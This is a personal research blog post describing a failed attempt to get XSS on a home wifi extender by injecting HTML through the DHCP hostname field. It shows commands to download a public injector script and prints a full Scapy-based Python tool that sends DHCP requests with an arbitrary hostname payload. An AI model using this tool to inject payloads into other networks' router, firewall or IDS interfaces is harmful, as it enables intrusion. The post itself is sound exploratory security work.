/ research

Playing with DHCP

Playing with DHCP

Journal of failed exploitations

Today I'll show you how I wasted my Sunday morning trying to exploit my home wifi-extender, obviously without any form of success.

Intro

Routers web pages (or wifi range extenders) share a common functionality that allow you to see connected devices. This is taken from my home network:

53f2c343d583839d2cd52875aa489b98

Looking at that table I questioned my self on how exactly the device pulls the hostname from the connected client.
The candidate protocols are the following:

  • DNS: but not every client has a PTR record
  • NetBIOS: nonsense
  • DHCP: probably the right candidate

After doing some research I found that the machine hostname is sent via the DHCP discover broadcast message:

3bc0e5d1b7e3d4e43f307e933a368606

So after having a good refresh on how DHCP works, I decided to try to edit the hostname field and hope for something like an XSS.

(non) exploitation

The first thing that I tried was to edit the hostname of my OnePlus6 to something else like <img>.

NOTE: You may ask, why I didn't change my computer hostname? Which is objectively easier...
Welcome to Ufficio Complicazione Affari Semplici. Google it.

After changing the hostname of my phone to something malicious, I tried to obtain a new IP address from the DHCP and:

5c0a3528bf8e9806d1819e42521ba442

no luck, the phone seems to detect illegal chars that could cause problems to other devices and sends the default hostname "OnePlus6".

After some Googling I found this project on GitHub that allows the injection of a custom hostname using DHCP, bypassing the restrictions on illegal chars:

https://github.com/dnoiz1/dhcp-hostname-injector

I modified it a little bit, but nothing special, you'll find the code that I used in the appendix.

Using the code was quite simple:

wget https://raw.githubusercontent.com/dnoiz1/dhcp-hostname-injector/master/dhcp.py
sudo python dhcp.py

If you use the original code, remember to change the payload variable in order to have a custom hostname. In my version of the script I just moved that variable to a command line argument, which I find easier to use.

45096ce2f7cec6a49113aa13e06425aa

After launching the script I observed that the hostname was correctly modified in the web page:

cad2af6f423c0141bbee0e31f0b2d17d
(don't pay attention to the error log, that's because I'm changing my own hostname and the DHCP has already gave me an IP)

dc686deea96e0bbdcad69a5e03802e07

I tried different XSS payloads, but without luck.
Well, lesson learned!

Conclusions

Even if I failed this exploit doesn't mean that my morning was totally wasted, I learned a new technique that can be used every time the hostname of a machine if reflected in a web application or so, like:

  • Firewalls and IDS
  • Older Routers

Appendix

Source code for DHCP injector

#!/usr/bin/env python

import sys, logging, time, signal
import logging as log

logging.addLevelName(logging.DEBUG, "[i]")
logging.addLevelName(logging.INFO,  "[+]")
logging.addLevelName(logging.ERROR, "[!]")

from scapy.all import *
import scapy

logging.getLogger("scapy").setLevel(1)


offers = []
leases = []

def options(dhcp_options, key):
    try:
        return filter(lambda x: x[0] == key, dhcp_options)[0][1]
    except:
        pass

def on_packet(packet):
    if DHCP in packet:
        opts = packet[DHCP].options

        print packet.summary()
        # log.debug(packet[BOOTP].show())
        # log.debug(packet[DHCP].show())
        #log.debug(opts)

        # offer response
        type = options(opts, 'message-type')

        if type == 2:
            log.info("detected dhcp discover response: %s", packet.summary())
            offer = {
                "server_ip":  packet[IP].src,
                "server_mac": packet[Ether].src,
                "ip":         packet[BOOTP].yiaddr
            }

            for o in opts:
                if not isinstance(o, basestring):
                    offer[o[0]] = o[1]
            offers.append(offer)

        # ack request
        if type == 5:
            lease = {
                "server_ip":  packet[IP].src,
                "server_mac": packet[Ether].src,
                "ip":         packet[BOOTP].yiaddr
            }

            for o in opts:
                if not isinstance(o, basestring):
                    lease[o[0]] = o[1]
            leases.append(lease)

            log.info("lease accepted from %s with ip %s", lease["server_ip"], lease["ip"])

if __name__ == '__main__':
    if len(sys.argv) != 3:
        log.error("usage: %s <payload> <interface>", sys.argv[0])
        sys.exit(1)

    payload = sys.argv[1]
    conf.iface = sys.argv[2]

    conf.chekcIPaddr = False
    fam, hw   = get_if_raw_hwaddr(conf.iface)

    print "using hostname payload:"+ payload


    ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=hw, type=0x800)
    ip       = IP(src ='0.0.0.0', dst='255.255.255.255')
    udp      = UDP (sport=68, dport=67)
    bootp    = BOOTP(op=1, chaddr=hw)
    dhcp     = DHCP(options=[("message-type","discover"),('end')])
    packet   = ethernet / ip / udp / bootp / dhcp

    sendp(packet, iface=conf.iface)

    sniff(prn=on_packet, store=0, count=1, timeout=10, iface=conf.iface, filter="port 68 and port 67")

    if len(offers) == 0:
        log.error("no dhcp offers!")
        sys.exit(1)

    log.info("offers: %s", offers)

    for offer in offers:
        print "accepting offer for dhcp server " + offer["server_id"]

        dhcp = DHCP(options=[("message-type","request"), ("hostname",payload), ("server_id",offer["server_id"]), ("requested_addr",offer["ip"]), ("end")])
        packet = ethernet / ip / udp / bootp / dhcp

        sendp(packet, iface=conf.iface)

        sniff(prn=on_packet, store=0, count=1, timeout=10, iface=conf.iface, filter="port 68 and port 67")

    if len(leases) == 0:
        print "no lease requests ack'd"
        sys.exit(1)

    def cleanup(signal, frame):
        print
        log.info("cleaning up")
        for lease in leases:
            log.info("releasing %s from %s ", lease["ip"], lease["server_id"])
            dhcp = DHCP(options=[("message-type","release"), ("server_id", lease["server_id"]), ("requested_addr",lease["ip"]), ("end")])
            packet = ethernet / ip / udp / bootp / dhcp

            sendp(packet, iface=conf.iface)
            # sniff(prn=on_packet, store=0, count=1, timeout=10, iface=conf.iface, filter="port 68 and port 67")
        sys.exit(0)

    signal.signal(signal.SIGINT, cleanup)

    log.info("press ^C to release dhcp leases")
    while True:
        time.sleep(1)